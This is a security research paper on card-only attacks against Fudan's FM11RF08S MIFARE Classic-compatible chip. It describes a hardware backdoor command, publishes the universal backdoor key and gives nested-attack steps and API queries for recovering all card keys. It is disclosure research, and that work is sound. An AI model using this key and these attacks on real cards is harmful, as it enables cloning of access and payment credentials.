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Abstract— MIFARE Classic smart cards, developed
and licensed by NXP, are widely used but have been
subjected to numerous attacks over the years. Despite
the introduction of new versions, these cards have re-
mained vulnerable, even in card-only scenarios. In 2020,
the FM11RF08S, a new variant of MIFARE Classic, was
released by the leading Chinese manufacturer of un-
licensed “MIFARE compatible” chips. This variant fea-
tures specific countermeasures designed to thwart all
known card-only attacks and is gradually gaining mar-
ket share worldwide. In this paper, we present several
attacks and unexpected findings regarding the FM11R-
F08S. Through empirical research, we discovered a hard-
ware backdoor and successfully cracked its key. This
backdoor enables any entity with knowledge of it to
compromise all user-defined keys on these cards with-
out prior knowledge, simply by accessing the card for a
few minutes. Additionally, our investigation into older
cards uncovered another hardware backdoor key that
was common to several manufacturers.

I. Introduction

By 2024, we all know MIFARE Classic is badly broken. [1]–
[11] But the card remains very popular due to a certain level
of business legacy and inertia, as migrating infrastructures re-
mains costly.

In this paper, we will focus exclusively on the so-called card-
only attacks, i.e. attacks that can be performed directly on a
card alone, the goal being to recover the card data and keys
and to be able to clone it or to emulate it.

Around 2020, a new card emerged withstanding all known
card-only attacks and featuring a countermeasure dubbed by
the community as “static encrypted nonce”.
A. Paper overview

Firstly, in Section  II, a short overview of the proprietary
encryption algorithm and authentication protocol created by
NXP Semiconductors, called CRYPTO-1, is presented. In Sec-
tion III, we recap briefly the known card-only attacks on MI-
FARE Classic. The static nested attack is one of them but has
never been documented so far. We hence spend a bit more time

on it, to give the developers credit and because we are deriving
new attacks from it. Then we present in Section IV the infa-
mous card and its countermeasure. We immediately present a
new attack that works only on specific conditions in Section V.
In Section VI, we explain how some light fuzzing exposed an
unexpected command, protected by a key. To ease the reading,
we will just refer to it as the backdoor. We then use our first
attack in Section VII to break this backdoor key and explore
the extend of our findings. Based on this knowledge, we devise
a new attack in Section VIII to break all the card keys, without
any condition. In some configuration, it can take up to 3-4h
to dump the whole card. We then reverse partially an internal
nonce generation mechanism in Section IX. In Section X, we
show how this partial reverse allows us to optimize the sec-
ond attack, which becomes 5-6 times faster. We show how to
combine aforementioned attacks in Section XI. In Section XII,
we explain how these attacks could be done instantaneously
if in position of a supply chain attack. Then, in Section XIV,
we look at older generations of this card and find a similar
backdoor protected with another key. In Section XV, we adapt
an existing attack to break the second key. We describe in Sec-
tion XVI how this knowledge could accelerate known attacks
on these older cards. Finally, we document in Section XVIII
how the same backdoor has affected other manufacturers as
well.
B. Methodology

The followed methodology is more instinctive than formal
but lies on some key points.

• Search hard for existing information, on forums,
datasheets,… and every time a new keyword appears,
search again and see where it leads to ;

• Test, challenge assumptions, make new hypotheses and
challenge them with more tests ;

• Keep a prioritized list of all unanswered questions or
ideas of leads. Complete the list whenever a new un-
known appears unless you can explore it immediately.
When a topic is explored, go back to the list for the next
hot lead ;

• Don’t limit yourself to your end goal, explore side quests
as well. Who knows, some nice surprises can happen ;

• Stare at zeros and ones and until you see patterns…
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Besides pure observations and results, the paper tries to illus-
trate this approach and shows how events led to the next steps.

Unsurprisingly, all experiments were conducted with a
Proxmark3 and we contributed our analysis and attack tools
to the Proxmark3 repository [12]. As it is constantly evolving,
note that this paper refers to the repository as it was at com-
mit 27d5f2dbf268ffa43f3c9d38fcc84323adf85b59.

II. CRYPTO-1 Protocol

A. A very quick introduction

If you are not familiar with the MIFARE Classic memory
map, its sectors, trailer blocks, keys and access rights, please
refer to one of its old datasheets [13]. For a complete descrip-
tion of the CRYPTO-1 cipher and protocol, please refer to the
excellent [7] and [8].

The reader can find a more programmatic view of the pro-
tocol in Annex A.

According to ISO14443, bits are actually transmitted least
significant bit first but in this paper, as in the literature, num-
bers are written the usual way, most significant bit first.

As we only care about card-only attacks, only the very first
steps of the protocol matter to us:

• One sends an Authenticate command 6***+CRC: 60 to au-
thenticate with keyA, 61 to authenticate with keyB, fol-
lowed by a byte indicating the target block, and the 2-
byte CRC according to ISO14443-A ;

• The card returns a 4-byte random nonce 𝑛𝑇 .

If it is a nested authentication, i.e. we already authenticated
to the card with a known key and we want to initiate a new
authentication within the established encrypted channel, the
protocol is identical besides the following changes:

• The command is sent encrypted with the current
CRYPTO-1 keystream, as any other command after a
successful authentication ;

• The card nonce is returned encrypted, but with the new
key!

What is not depicted yet is the handling of the parity bits. Dur-
ing ISO14443-A transmissions, each byte is followed by an odd
parity bit (so the total of ones in these 9 bits is always odd).
But data encrypted with CRYPTO-1 is transmitted differently:
the parity bits are computed on the plaintext data and then
encrypted by reusing the next bit of the keystream (that will be
used to encrypt the least significant bit of the next byte).

Typically, Proxmark3 protocol traces depict parity errors
with the symbol “!” when the real parity of the transmitted
byte does not match the transmitted parity bit, as seen in the
Annex examples.
B. CRYPTO1 intrinsic vulnerabilities

We just highlighted a few ones in the previous section:
• Nested nonce 𝑛𝑇  is encrypted with the new key, poten-

tially leaking info about the key ;
• Parity bits are applied on the plaintext data, potentially

leaking info about the plaintext ;
• Parity bits are encrypted with reused keystream bits, yet

another potential source of leak.

Moreover, we did not detail the CRYPTO1 cipher itself, but its
internal state can be reconstructed from the keystream, and
therefore can be rolled back, up to the key, in a pretty efficient
way.
C. CRYPTO1 common implementation vulnerabilities

The previous section described vulnerabilities that cannot
be patched by a card without breaking compatibility.

But a few more vulnerabilities were discovered in card
implementations, sometimes patched by later generations of
cards.

• The 32-bit nonce 𝑛𝑇  is very often generated by using the
existing 16-bit LFSR required in the protocol, as PRNG.
Knowing half of the nonce, we can reconstruct the other
half ;

• When such PRNG is clocked continuously over a rather
short sequence, it repeats itself about every 0.6 s, there-
fore a nonce can be predicted or replayed, e.g. in a nested
authentication, based on a previous nonce ;

• The seed initializing the 16-bit LFSR can be static, in
which case even the first nonce can be controlled and re-
played. Depending on the card, a full power-cycle might
be required between attempts ;

• Some cards send a 4-bit encrypted NACK in return to a
wrong reader challenge response if its 8 encrypted par-
ity bits appear to be correct, so with a probability of 1

256 .
Some cards even always reply with a NACK. Receiving
an encrypted NACK reveals 4 bits of keystream ;

III. Known Card-Only Attacks

A. Darkside Attack

The attack described in [9] makes use of two implementa-
tion bugs described previously: the leak of NACKs and the
possibility to get the initial nonce repeating itself.

It allows to break a first key even if no key is known yet. Be-
cause it is rather slow, once a first key is found, the nested au-
thentication attack (described hereafter) is preferred to break
all the other keys.
B. Nested Authentication Attack

The attack described in [8] requires to know a first key. This
allows to trigger the nested authentication protocol and to re-
ceive an encrypted nonce. Again, it requires the card to feature
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some implementation bugs: the nonce must be predictable so
guesses can be made on the nested 𝑛𝑇 . The first three parity
bits of the encrypted nonce reuse some keystream bits used to
encrypt the nonce itself, so guesses can be filtered to keep the
compatible ones. By repeating the attack 2 or 3 times, enough
keystream information is recovered to break the key.
C. Hardnested Attack

To deter the darkside and nested attacks, some cards such
as the MIFARE Classic EV1 generate a truly random 32-bit 𝑛𝑇 ,
so not based on the 16-bit LFSR output. And, of course, the
NACK leak bug got fixed too.

An attack [11] solely based on the parity bits leak (which
is an intrinsic vulnerability of the protocol) got published in
2015. The hardnested attack is a nested attack on hardened
cards, so it requires a first known key. It works on random
nonces and requires about 1200 of them.
D. Static Nested Attack

Some cards appear to have a static initial nonce, a static
nested nonce, and no NACK leak bug. Still, the distance be-
tween these nonces was found to be constant, so the nested
nonce can be predicted.

A first implementation was proposed in 2020 in the Prox-
mark3 repo, by Iceman himself [14], based on @xtigmh and
@uzlonewolf1 solutions.

1Github handles

The problem is that to apply the nested attack, we need
more than once nonce, else the attack is really slow: some tens
of thousand candidates must be tested with the card, for each
nonce guess).

The trick found by DXL in 2022 [15] is to do a second at-
tempt, but now with the following sequence:

• an authentication with the known key ;
• then a nested authentication on the same sector, with the

same known key (that will succeed) ;
• and finally the nested authentication attempt on the tar-

get sector.

This gives a second different nested nonce and the key can be
computed offline. A staticnested standalone tool is available
as well in the Proxmark repo [12], recovering the key based on
two plaintext nested 𝑛𝑇  and the corresponding keystreams.

IV. Introducing FM11RF08S

A. Static Encrypted Nonce Cards

We already spoiled the chip reference we are interested into,
but things were not as immediate.

In 2020, we got a couple of samples of a card with some
specificities such that all the existing card-only attacks were
failing. At that time, we did not look at them seriously. Prob-

ably some tuning to do on existing attacks, but it was not a
priority.

Circa 2022, the hacking community started looking seri-
ously at it and the countermeasure was understood and re-
ferred as “static encrypted nonces”. It slowly became a quite
recurrent topic on the RFID hacking Discord [16] (> 350 men-
tions so far) as these cards become more and more common.

The countermeasures are the following:
• No NACK bug, so no darkside attack possible ;
• The encrypted nested {𝑛𝑇 } is static and unrelated to the

first 𝑛𝑇 . The static nested attack requires to be able to
predict 𝑛𝑇  so it is not applicable here. The hardnested
attack requires to get many random {𝑛𝑇 }, so it’s a no go
as well.

A detection was even integrated into the Proxmark3 client, as
shown in Listing 1.

[usb] pm3 --> hf mf info
...
[=] --- Fingerprint
[+] FUDAN based card
...
[=] --- PRNG Information
[+] Prng................. weak
[+] Static enc nonce..... yes

Listing 1: Partial output of hf mf info Proxmark3 command

These cards are referred on [16] as “0390”, “0490”, “FM11RF08
v3” etc. and are known to be from Shanghai Fudan Microelec-
tronics. “0390” and “0490” refer to the first and last byte of the
manufacturer data located in the card block 0. A variant “1090”
is mentioned as a 7-byte UID version. We don’t have any sam-
ple, but Anton Savelev was very helpful run a few tests on a
couple of samples for us and should be warmly thanked for
that.

Shanghai Fudan Microelectronics is a prominent Chinese
semiconductor company known for producing contactless
smart card chips, including the FM11RF08, which is seen as a
“compatible alternative” to the NXP MIFARE Classic 1K chip.

Fudan has a very long history in the domain, as a patent
application from 2001 [17] appears to describe the CRYPTO-1
protocol, years before getting publicly reverse-engineered in
2008 [6]. Unfortunately, we did not find any patent about the
countermeasure of the new cards.

By end of 2023, Augusto Zanellato suggested that the card
could be a FM11RF08S, but at that time, the suggestion did not
bring much attention.
B. Looking at FM11RF08S Datasheet

The FM11RF08S datasheet [18] mentions indeed a counter-
measure: the “S” added to the chip reference stands for “安
全提升版本” which translates to “Security improved version”
and the security features list mentions a feature that can be
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translated to “Compared with the old version of the chip, the
anti-cracking ability is improved”.

Another document with the exact same title [19] describes
a 7-byte UID version of the FM11RF08S.

A page of Fudan website [20] mentions the countermeasure
in English: “Compared with the old version chip RF08, RF08S’s
security and anti-crack ability have been enhanced by fixing
the weak points in the realization of the algorithm without
losing of the functional compatibility.”

This sounds indeed quite promising.
C. Getting Samples… and an APK

As we can’t identify our 2020 samples so far, the best move
is to order a few FM11RF08S (on a famous Chinese online mar-
ketplace starting with “A”). We wanted to be sure we would get
the FM11RF08S and not the older FM11RF08, so we asked some
guarantees to the vendor. To our surprise, the vendor men-
tioned a Fudan Android application (not available on the Play
store) that could validate the tags. Searching for the APK, we
found an “Original Verification of FM11RF08/08S” web page
[21] featuring a QR Code to download it [22]. Once installed,
the application is soberly titled “NFC Label Tools”.

Once installed, the application identifies our 2020 samples
as two genuine FM11RF08S chips! Investigations could start
before getting our order.

Figure 1:  NFC Label Tools identifying a FM11RF08 card.

Figure 2:  NFC Label Tools identifying a FM11RF08S card.
D. FM11RF08S Simple and Advanced Verification Methods

Let us dig for a while on the application as it seems to
feature interesting genuine card authentication mechanisms,
similar to what NXP calls originality check. One is called sim-
ple verification method and the other one advanced verification
method.

1) Simple Verification Method:
The 8-byte manufacturer data of FM11RF08 and FM11RF08S

located in block 0 contains 6 random-looking bytes forming
a kind of cryptographic signature (maybe a partial HMAC?)
over (part of) the other block 0 bytes. An example is given in
Listing 2, taken among the new cards we ordered. According
to the two other manufacturer bytes, the following card revi-
sion is unofficially nicknamed “0490”.

1C 4C 75 63 46 08 04 00 04 75 DE 7A FD 3B 88 90
                        04 \__ signature __/ 90
\_________/ \/ \/ \___/ \_____________________/
    UID     BC SAK ATQA    Manufacturer data

Listing 2: FM11RF08S block 0 example

So far, we have seen FM11RF08S samples “0390”, “0490” and
“1090”, and FM11RF08 samples “011D”, “021D” and “031D”
and both references can be verified by the simple verifica-
tion method. The APK seems to indicate also the existence of
FM11RF08 cards with a block 0 ending in “91” and “98”.

The older Fudan cards with manufacturer data
6263646566676869 – and no signature – cannot be verified,
obviously.

If the card block 0 can be read, the simple verification
method can be done directly online on the previously men-
tioned web page [21], or via the Android application. The ap-
plication is using a slightly different API than the online form
and the method can be reproduced as shown in Listing 3.

wget -q --header="Content-Type: application/text; charset=utf-8" ↩
  --post-data "1C4C7563460804000475DE7AFD3B8890" -O - ↩
  https://rfid.fm-uivs.com/nfcTools/api/M1KeyRest | json_pp

⇒
{
   "code" : 0,
   "data" : null,
   "message" : "success"
}

Listing 3: simple verification method API

2) Advanced Verification Method:
This method is only supported by the latest FM11RF08S chip

and can only be done via the Android application, not the on-
line form.

Sniffing the Application with a Proxmark3 reveals that it
performs a CRYPTO-1 authentication to an unknown block
128 (while a 1k card has only 64 blocks) with an unknown
keyA2. No read access is performed and the simple fact that

2This provides a quick way to detect a FM11RF08S: check if it replies
with a nonce to command 6080 but not to 607F.

the authentication succeeds validates the advanced verifica-
tion method.

Even if the card is protected against card-only attacks,
CRYPTO-1 remains trivial to break based on a trace between
a card and a reader aware of the correct key, so we could re-
cover it easily. The key is different for each card and sniffing
the network operations of the application reveals another API
shown in Listing 4 where the block 128 keyA of a specific card
is simply returned upon submission of its block 0.
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wget -q --header="Content-Type: application/text; charset=utf-8" ↩
  --post-data "1C4C7563460804000475DE7AFD3B8890" -O - ↩
  https://rfid.fm-uivs.com/nfcTools/api/getKeyA | json_pp

⇒
{
   "code" : 0,
   "data" : "0543C7A1F992",
   "message" : "success"
}

Listing 4: advanced verification method API

Surprisingly, the API returns a key without any validation of
the submitted block 0, as seen in Listing 5. This allows for some
tests and we can observe that the returned keyA depends only
on the first 9 bytes of block 0.

wget -q --header="Content-Type: application/text; charset=utf-8" ↩
  --post-data "00000000000000000000000000000000" -O - ↩
  https://rfid.fm-uivs.com/nfcTools/api/getKeyA | json_pp

⇒
{
   "code" : 0,
   "data" : "EDCA04F1D3EC",
   "message" : "success"
}

Listing 5: advanced verification method API with invalid data

Both verification methods using only static data, of course, a
clone is still possible, similarly to the NXP originality check
feature. But at industrial scale, a clone manufacturer cannot
produce them massively without having access to many gen-
uine tags and cloning them 1-to-1. Moreover the Fudan API
may return an error code -11 = “Too Many Requests” at some
point, according to the application.

We test this new authentication key and observe it can be
used against blocks 128 to 135 on the “0390” samples from
2020. They share the same content, displayed in Listing 6.

128 | A5 5A 3C C3 3C F0 00 00 00 00 00 00 00 04 08 88
129 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
130 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
131 | 00 00 00 00 00 00 70 F7 88 0F 00 00 00 00 00 00
132 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
133 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
134 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
135 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Listing 6: older FM11RF08S blocks 128 – 135

The newly acquired “0390” and “0490” cards and the “1090”
ones behave differently from the old “0390”. Only the trailer
block 131 and the what-could-be-a-trailer-block-but-is-empty
block 135 can be read, as shown in Listing 7.

131 | 00 00 00 00 00 00 00 F0 FF 0F 00 00 00 00 00 00
135 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Listing 7: newer FM11RF08S blocks 128 – 135 (attempt)

Let us compare the access rights. They are interpreted for the
“0390” 2020 samples in Table 1.

Access Rights

128 read AB; write B

129 read AB; write B

130 read AB; write B

131 read ACCESS by AB

Table 1: older FM11RF08S block 128 access rights = 70F788

While for the “0390” and “0490” 2024 samples and the “1090”,
we get the access rights described in Table 2.

Access Rights

128 none

129 none

130 none

131 read ACCESS by AB

Table 2: newer FM11RF08S block 128 access rights = 00F0FF

We will go back to these non-readable blocks in Section VIII…
We did not find other hidden blocks.

E. CRYPTO-1 Implementation Specificities

The F11RF08S has the following implementation specifici-
ties. Some were already mentioned in Section IV.A.

• All nonces, initial and nested, are generated by the 16-
bit LFSR PRNG ;

• No NACK bug ;
• The initial 𝑛𝑇  is not static but quite repeatable ;
• The encrypted nested {𝑛𝑇 } is static and unrelated to the

first 𝑛𝑇 .

Let’s detail the last two statements.
1) Initial 𝑛𝑇  Specificities:
Figure 3 shows that over 500 collected nonces, they are all

concentrated on a very few consecutive 16-bit LFSR outputs
among the 216 − 1 possible ones. This is typical of older cards
and occasionally may be wrongly detected as static nonce by
the Proxmark3 if by chance consecutive tests led to the same 
𝑛𝑇  value.
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Figure 3: Initial 𝑛𝑇  observed across 500 authentication at-
tempts with a FM11RF08S

It is due to the fact that the LFSR is initialized with a constant
value, then is clocked constantly as soon as the card is pow-
ered and operational. Therefore the initial 𝑛𝑇  value depends
on the timing of the authentication request since the card is
powered on.

When several initial authentications are done without in-
terrupting the RF field, one must also take into account that
the LFSR is not clocked during the authentications them-
selves, because the card needs the LFSR circuitry to com-
pute the suc64(𝑛𝑇 ) and suc96(𝑛𝑇 ) functions required by the
CRYPTO-1 protocol (cf Annex A.1). Note that some cards seem
to deviate from this 𝑛𝑇  prediction and need more investiga-
tion.

F. Nested 𝑛𝑇  Specificities

Community discussions on [16] reported that the static en-
crypted nonce depends somehow on the card UID, the sector
and the user key itself – but not the key type, so if keyA ==
keyB for a given sector, encrypted nonces will be equal too.

So by looking at keyA {𝑛𝑇 } and keyB {𝑛𝑇 }, we can tell if
keyA == keyB or not.

To be clear, of course, {𝑛𝑇 } depends on the key, but 𝑛𝑇  too!
One lead to find an attack on this card is to understand how

𝑛𝑇  is generated exactly, and to see if it’s somehow predictable.
Section IX will give some more insights, but this is not the

lead we followed at first.
For our analysis needs, we implemented a tool in the Prox-

mark3[12] to test various nested authentication scenarii, cf
Annex A.3 for usage and example.

V. Reused Keys Nested Attack

How to get more nonces if 𝑛𝑇  is static?
We said 𝑛𝑇  depends on the UID and the sector (and the key).

If we assume a key is reused on another tag (another UID) or

another sector of the same tag, we will get another 𝑛𝑇  for the
same key!

Attack conditions:
• Know a first key, to be able to activate the nested authen-

tication protocol ;
• The card must reuse some keys across several sectors. Or

several cards of an infrastructure share the same key.

The attack is a bit similar to the static nested attack, but we
have no idea of the nested 𝑛𝑇  plaintext, so we have to consider
all the 65535 𝑛∗

𝑇  candidates.
Our strategy will consists into finding all possible key can-

didates for one reference sector, and checking on-the-fly if
they are compatible with any other sector we want to com-
pare with. This is more limited than looking for common keys
across all sectors at once, but it does not require any large
memory, while the second option requires about 3 Gb times
the number of sectors.

• Collect UID𝑖, nested encrypted nonces {𝑛𝑇 }𝑖 of several
sectors, possibly across different cards, and their 4-bit
encrypted parity {𝑝𝑛𝑇

}
𝑖
 ;

• For each targeted sector, generate all 216 − 1 possible
outputs of the 16-bit LFSR as candidates 𝑛∗

𝑇𝑖
 ;

• For each 𝑛∗
𝑇𝑖

, compute keystream ks∗
0𝑖

 = {𝑛𝑇 }𝑖 ⊕ 𝑛∗
𝑇𝑖

 ;
• Given ks∗

0𝑖
, decrypt the first 3 parity bits from {𝑝𝑛𝑇

}
𝑖

• Check if they match the first 3 parity bits of 𝑛∗
𝑇𝑖

 ;
• After this filtering, 216−3 = 8192 candidates remain.

Store them as (𝑛∗
𝑇 , ks∗

0)𝑖 tuples ;
• Split these candidates over several threads for the next

steps ;
• In each thread, consider first UID0, {𝑛𝑇 }0 and {𝑝𝑛𝑇

}
0

as the reference sector to compare with, and its share of
(𝑛∗

𝑇 , ks∗
0)0 ;

• For each (𝑛∗
𝑇 , ks∗

0)0, generate 216 possible keys by recov-
ering and rolling back the CRYPTO-1 48-bit LFSR ;

• Test these keys against the other sectors {𝑛𝑇 }𝑖 with
their corresponding UID𝑖:

‣ Decrypt {𝑛𝑇 }𝑖 => 𝑛∗
𝑇𝑖

 ;
‣ Check if 𝑛∗

𝑇𝑖
 is a valid 16-bit LFSR output ;

‣ Check if 𝑛∗
𝑇𝑖

 is part of the 8192 candidates for that
sector ;

‣ Generate next keystream word ks∗
1𝑖

 to decrypt 
{𝑝𝑛𝑇

}
𝑖
 and check the last parity bit ;

‣ Do the same for the reference sector: generate next
keystream word ks∗

0𝑖
 to decrypt {𝑝𝑛𝑇

}
0
 and check

the last parity bit. This could have been done ear-
lier but it is more efficient to postpone it ;

At the end, for each sector, we get a few hundreds key candi-
dates compatible with the reference sector.
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We can then check if there is a common key across at least
two different sectors besides the reference one. When it hap-
pens, we found the unique key for the reference sector and
these sectors.

On our laptop, it takes less than 2 min to compare two or
three sectors, and about 12 min to compare 16 sectors. Your
mileage may vary, but it gives a rough idea. Note that if a key
is reused across sectors, it’s probably across nearby sectors, so
it is probably not worth comparing with all sectors at once.

We implemented the attack in the Proxmark3[12], cf An-
nex A.5 for usage and example.

If no common key was found, maybe there is still a com-
mon key between the reference sector and one single sector.
But this requires to test the hundreds of keys on the reference
sector card.

This attack can only break reused keys, across sectors or
across cards. The remaining keys are left undefeated.

The zeitgeist of RFID research is manifest: just a couple of
weeks after the initial submission of this paper to a conference,
Nathan Nye shared on the RFID hacking Discord [16] the same
idea of collecting several 𝑛𝑇  from keys reused across sectors,
along with proof-of-concept code. We acknowledge and salute
Nathan’s effort and contribution to the community.

VI. Discovering a Backdoor

Not very satisfied with the limitations of our first attack,
and following our proven methodology (cf Section I.B), we de-
cided to do a lightweight fuzzing of the command set.

All numbers expressed here are hexadecimal.
In principle, when powered, the card should only react to

the initial 7-bit commands REQA (26) and WUPA (52). Which
is the case. Then only the anticollision select (93). Finally, be-
fore authentication, only the authentication commands with
keyA and keyB should be accepted (60** and 61**) as well as
the HLTA (5000). We try all command values with a parameter
byte “00”: **00 and we observe the card replies:

• always NACK (4) except for
• 5*00 → the card halts
• 6*00 → the card returns a nonce
• f*00 → the card halts

The card probably reacts to all 5*00 as being a HLTA. For the
f*00, it looks like the effect is similar to a HLTA too. Even ex-
tending the f*00 command up to 40 bytes did not lead to any
result.

The interesting one is the 6*00, which means we get a nonce
for all 6000 to 6f00 commands, and not just to 6000 and 6100.

We decide to test them on a card with known keys. We setup
different keyA and keyB and observe the static encrypted
nonces. When performing a nested authentication with the
known key, we get:

• 6000, 6200, 6800, 6a00 → {𝑛𝑇 } = 4e506c9c, success
• 6100, 6300, 6900, 6b00 → {𝑛𝑇 } = 7bfc7a5b, success
• 6400, 6600, 6c00, 6e00 → {𝑛𝑇 } = 65aaa443, fail
• 6500, 6700, 6d00, 6f00 → {𝑛𝑇 } = 55062952, fail

And if we change keyA, nonce for 6000, 6200, 6800, 6a00
get another value but 6400, 6600, 6c00, 6e00 also get another
nonce.

Different nonces and authentication failures… It looks like
we need another key… We did not show it but when keyA ==
keyB, we only get one nonce for the first 2 sets and one nonce
for the last two. This seems to indicate the mysterious key is
the same for both sets.

The different command bytes for authentication seem to be
parsed as a bitfield, as shown in Listing 8.

7 6 5 4 3 2 1 0
0 1 1 0
        | | | + 0=A 1=B
        | | + ignored?
        | + 0=A/B keys 1=backdoor key
        + ignored?

Listing 8: Authentication command 6x seen as a bitfield

VII. Breaking FM11RF08S Backdoor Key

Let’s go one step further and assume the mysterious key
is the same for several, maybe even all sectors. We can test
it quite easily as we have a new attack in Section V exactly
for this hypothesis. Indeed, two minutes later, a key appears.
See Annex A.5.3 for details. Quick tests show immediately that
the key works for all sectors of the card, no matter keyA and
keyB values, but also for all the FM11RF08S samples we could
test! FM11RF08S “0390”, “0490” and FM11RF08S-7B “1090”
variant share the same backdoor key.

Let’s take a breath.
Apparently, all FM11RF08S implement a backdoor authen-

tication command with a unique key for the entire production.
And we broke it.

A396EFA4E24F
Listing 9: FM11RF08S universal backdoor key

Tests show that once authenticated, we can read all user
blocks, even if the trailer block access rights indicate that data
blocks are not readable. We can read the trailer blocks as well,
but keyA and keyB values are masked.

For example, now we can dump in Listing 10 the unreadable
blocks mentioned in Section IV.D.2.
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128 | A5 5A 3C C3 3C F0 00 00 00 00 00 00 00 04 08 88
129 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
130 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
131 | 00 00 00 00 00 00 00 F0 FF 0F 00 00 00 00 00 00
132 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
133 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
134 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
135 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Listing 10: newer FM11RF08S blocks 128 – 135

They reveal the exact same content as for the older “0390” from
2020, besides block 131 access rights, which we already knew.

The FM11RF08S-7B samples have a different content in
block 128, as shown in Listing 11.

UID: 1D5FA23A000003
128 | A5 5A 3C C3 2D F0 00 00 00 00 03 37 71 04 08 88

UID: 1D7CDE72000003
128 | A5 5A 3C C3 2D F0 00 00 00 00 03 68 39 04 08 88

Listing 11: FM11RF08S-7B block 128 samples

So far, we did not find a way to use the backdoor key to write
in blocks.

Also, we did not find differences between commands of a
same group. But this could deserve deeper tests.

VIII. Backdoored Nested Attack

A few more tests later, we realize that the plaintext 𝑛𝑇  is
actually the same for the 60**,… and 64**,… groups of authen-
tication commands. The {𝑛𝑇 } shown previously are different
but it’s actually the same 𝑛𝑇  encrypted with two different
keys. And the same holds for the 61**,… and 65**,… groups.

So, we can, for example
• Initiate an authentication against block 08 with the back-

door command 6408 ;
• Decrypt {𝑛𝑇 }6408 into 𝑛𝑇6408

≡ 𝑛𝑇6008
;

• Attack its keyA based on ks06008
= 𝑛𝑇6008

⊕ {𝑛𝑇 }6008.

The attack is similar to the static nested attack described in
Section  III.D before the second authentication trick and re-
quires to test a few tens of thousand key candidates on the
card, which can take 3-4 minutes to break a single key.

As for the first attack of Section V, after the 48-bit LFSR is
recovered and rolled back, we can decrypt the parity bits and
check the last parity bit, to reduce roughly by half the number
of key candidates to test. This is of less importance for the op-
timized static nested attack but this helps a lot here.

We implemented the attack in the Proxmark3[12], cf An-
nex A.6 for usage and example.

We can now break all the keys of any FM11RF08S with a
type of non-optimized static nested attack, even if all keys are
diversified, as we already know one key… And we don’t need
the existence of reused keys anymore.

By the way, besides the advanced verification keyA of block
128, we can break its keyB, which is also diversified. But
strangely its first two bytes are always 0000, on all our sam-
ples. When breaking this specific key, we can filter key candi-
dates on this criteria and break the key instantaneously. Why
– and what this key could be used for – remains a mystery
so far.

Someone could also emulate a FM11RF08S including the
keyA without ever querying the Fudan API for keyA, by re-
covering the keyA via this attack.

On the 2020 cards, according to their access rights displayed
in Table 1, it seems we should be able to write to these blocks
when authenticated with the recovered keyB. But tests show
that if the write command seems properly accepted and ac-
knowledged by the card, actually the content was not updated.

IX. Reversing Nested Nonce Generation

We were supposed to be done with this second attack, but
by curiosity, we decided to have a look at the static encrypted
nonces 𝑛𝑇  generation itself, shortly mentioned in Section IV.F.

First of all, we tested and confirmed the possible dependen-
cies and non-dependencies of 𝑛𝑇 .

𝑛𝑇  is not dependent of
• the number of previous nested authentications (cf static

nested attack trick of Section III.D) ;
• the block number within the same sector ;
• the previous authentication 𝑛𝑅 , 𝑛𝑇 , sector ;
• the key presented to the card ;
• any other activity before current authentication: nested

auth on another sector, with another key, read,… ;
• the value of the other sector key (e.g. keyB if authenti-

cating with keyA) ;
• the access rights ;
• the key type: A vs. B.

But 𝑛𝑇  depends on
• the configured key for the current authentication ;
• the sector number (even if same key) ;
• the card.

The dependency to the card could be to any value such as
• the UID ;
• the block 0 or the 8-byte manufacturer data or the 6-byte

“signature”, cf Section IV.D.1 ;
• the block 128 keyA, cf Section IV.D.2 ;
• the block 128 keyB, cf end of Section VIII;
• any other personalized value accessible but not yet dis-

covered ;
• a random seed unique to the card and inaccessible.
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In the last case, it could even be one random seed per sector,
which would mean there is no relationship to the sector num-
ber to be found.

To analyze the dependency to the key, we wrote some
Python script for the Proxmark3 to configure different keys,
always on the same sector, then collect and decrypt the corre-
sponding {𝑛𝑇 }. The script implements memoization to avoid
the same queries over and over while trying different data rep-
resentations and analyses.

Some decisive steps of the analysis are reproduced in An-
nex Section A.11. The result is a Python function, provided in
the Annex Listing 21, able to mutate a nonce associated to a
first key into the nonce of any other key. The relationship is a
bit too complex to express the Python code algebraically, but
it involves two kinds of 4-bit sbox used in an alternating pat-
tern, to apply differences on the LFSR state at different times
for each nibble of the keys.

Some might find a cleaner way to express the impact of the
key to the generated 𝑛𝑇 .

We also searched some relationship with the sector number
but we could not find any pattern and inter-sector differences
were all specific to each card.

X. Faster Backdoored Nested Attack

Our 𝑛𝑇  generation analysis gave limited results, but they
can already provide two optimizations to the backdoored
nested attack described in Section VIII.

• We can target both keyA and keyB of a given sector,
assuming they are different (which can be checked by
comparing {𝑛𝑇𝐴

} and {𝑛𝑇𝐵
}) ;

• We use the backdoor with commands 64** and 65** to
decrypt their 𝑛𝑇𝐴

 and 𝑛𝑇𝐵
 ;

• We get a few ten thousand key candidates for keyA and
same for keyB ;

• We search couples of keyA/keyB satisfying the relation-
ship of Listing 21 between their nonces.

To do so, rather than rolling the LFSRs back and forth, we ac-
tually rewind the nonces with their key candidates and look
for a common ancestor across A and B.

This new filtering allows to reduce the number of candidates
to about 35% of the original size. This allows the online brute-
force attack with the card to be almost 3 times faster.

We implemented the attack in the Proxmark3[12], cf An-
nex A.7 for usage and example.

But once we found the actual keyA, assuming we cannot
read directly keyB with keyA (which depends on the actual
access rights), we can directly find the right keyB among the
key candidates by using the relationship once again.

We implemented the attack in the Proxmark3[12], cf An-
nex A.8 for usage and example.

So our partial reversing has enabled a potential optimiza-
tion of the attack speed by a factor 6.

Another straightforward optimization is to first generate all
the key candidates, filter them, then look at keys present in
several candidate lists and start by testing these shortlisted
candidates.

XI. Full card recovery

To recap, the strategy to break all keys of a FM11RF08S is
the following one.

• Collect the needed nonces for all sectors, keyA and keyB ;
‣ Use the backdoor in a first authentication then a

nested authentication to collect and decrypt their 
